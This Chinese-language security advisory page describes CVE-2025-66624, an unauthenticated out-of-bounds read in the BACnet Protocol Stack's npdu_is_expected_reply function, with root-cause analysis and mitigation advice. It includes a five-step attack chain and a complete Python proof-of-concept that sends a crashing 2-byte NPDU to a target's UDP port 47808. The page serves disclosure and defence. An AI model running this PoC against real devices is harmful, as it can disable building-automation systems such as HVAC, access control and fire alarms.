IPBUF安全漏洞报告
English
CVE-2025-66624 CVSS 7.5 高危

CVE-2025-66624 BACnet Protocol Stack 越界读取拒绝服务漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-66624
漏洞类型
缓冲区溢出/越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BACnet Protocol Stack

相关标签

越界读取缓冲区溢出拒绝服务BACnet Protocol Stack楼宇自动化CVE-2025-66624高危漏洞网络协议栈漏洞

漏洞概述

BACnet Protocol Stack是一个开源的BACnet协议栈库,提供BACnet应用层、网络层和媒体访问层(MAC)的通信服务。该库广泛应用于楼宇自动化控制系统中的设备通信。

在1.5.0.rc2之前的版本中,src/bacnet/npdu.c文件中的npdu_is_expected_reply函数存在严重的越界读取漏洞。该函数在访问request_pdu[offset+2/offset+3/offset+5]和reply_pdu[offset+1/offset+2/offset+4]时,没有验证这些APDU字节是否存在。

具体而言,bacnet_npdu_decode()函数可能返回offset==2,这意味着即使对于只有2字节的极小NPDU数据,也能通过版本检查,但随后在访问数组元素时会触发越界读取。这种畸形数据包会导致程序访问非法内存地址。

在启用AddressSanitizer(ASan)、MPU或strict编译选项的构建中,这会导致程序立即崩溃,造成拒绝服务(DoS)攻击。在未受保护的构建中,会产生未定义行为,可能导致内存状态损坏或错误路由响应。虽然远程代码执行(RCE)的可能性较低(因为只发生读取操作),但拒绝服务攻击是可靠且可重现的。

攻击者无需认证即可利用此漏洞,通过发送精心构造的恶意NPDU数据包即可触发崩溃,影响BACnet网络中的所有依赖该协议通信的楼宇自动化系统。

技术细节

漏洞根因位于BACnet Protocol Stack的src/bacnet/npdu.c文件中的npdu_is_expected_reply函数。该函数负责判断接收到的NPDU(网络层协议数据单元)是否应该触发回复。

问题代码模式如下:
函数在访问request_pdu和reply_pdu数组时使用固定偏移量(如offset+2、offset+3、offset+5等)进行索引,但未检查这些偏移量是否在数组边界内。正常情况下,bacnet_npdu_decode()会解析NPDU头部并返回适当的偏移值,但攻击者可以构造畸形的NPDU数据包来绕过这一检查。

具体攻击向量:
1. 攻击者构造仅包含2字节的NPDU数据:第一个字节为版本号(0x01),第二个字节为任何值
2. bacnet_npdu_decode()解析后返回offset=2
3. npdu_is_expected_reply函数尝试访问request_pdu[2+2]、request_pdu[2+3]、request_pdu[2+5]等位置
4. 由于原始数据包只有2字节,这些访问都是越界读取
5. 在ASan环境下立即触发堆缓冲区溢出检测,程序崩溃
6. 在普通环境下读取到未分配或敏感内存,可能导致系统行为异常

漏洞影响范围包括所有使用受影响版本BACnet Protocol Stack的楼宇自动化设备,如HVAC系统、门禁控制、消防报警等关键基础设施。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别网络中使用BACnet协议的目标设备,通常通过扫描UDP端口47808(0xBAC0)来发现暴露的BACnet服务
STEP 2
步骤2: 构造攻击载荷
攻击者构造仅包含2字节的畸形NPDU数据包:第一个字节为版本号0x01,第二个字节任意值。这个长度会导致bacnet_npdu_decode()返回offset=2
STEP 3
步骤3: 发送恶意数据包
通过UDP向目标设备的BACnet端口(47808)发送精心构造的2字节NPDU数据包,无需任何认证
STEP 4
步骤4: 触发越界读取
目标系统的npdu_is_expected_reply函数接收到畸形数据后,尝试访问request_pdu[2+2]、request_pdu[2+3]、request_pdu[2+5]等超出边界的内存位置
STEP 5
步骤5: 造成拒绝服务
在启用ASan/MPU/strict编译选项的环境中,程序立即崩溃;在普通环境中可能导致内存状态损坏或系统异常,最终导致BACnet服务不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66624 PoC - BACnet Protocol Stack Out-of-Bounds Read This PoC demonstrates the vulnerability by sending a malformed NPDU packet. """ import socket import struct def create_malformed_npdu(): """ Create a malformed NPDU packet that triggers the out-of-bounds read. The packet is only 2 bytes to cause offset+2, offset+3, offset+5 accesses to read beyond the buffer boundary. """ # Version byte (BACnet protocol version 1) version = 0x01 # Second byte can be anything - will cause offset=2 after decode control = 0x00 # Only 2 bytes - will trigger OOB read when npdu_is_expected_reply # tries to access request_pdu[offset+2], request_pdu[offset+3], etc. return bytes([version, control]) def send_bacnet_npdu(target_ip, target_port=47808): """ Send malformed NPDU to target BACnet device. Default BACnet port is 47808 (0xBAC0). """ malformed_packet = create_malformed_npdu() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malformed NPDU to {target_ip}:{target_port}") print(f"[*] Packet length: {len(malformed_packet)} bytes") print(f"[*] Packet hex: {malformed_packet.hex()}") sock.sendto(malformed_packet, (target_ip, target_port)) print("[+] Packet sent successfully") try: response, addr = sock.recvfrom(1024) print(f"[!] Received response from {addr}: {response.hex()}") except socket.timeout: print("[-] No response received (target may have crashed)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_66624_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 47808 send_bacnet_npdu(target, port)

影响范围

BACnet Protocol Stack < 1.5.0.rc2

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:1) 在网络边界部署防火墙,严格限制对BACnet端口(UDP 47808)的访问,只允许授信IP地址通信;2) 实施网络分段,将BACnet设备隔离在独立的VLAN中;3) 监控BACnet通信日志,关注异常的数据包大小和频率;4) 考虑使用BACnet协议的加密或认证扩展(如BACnet/SC)增强安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表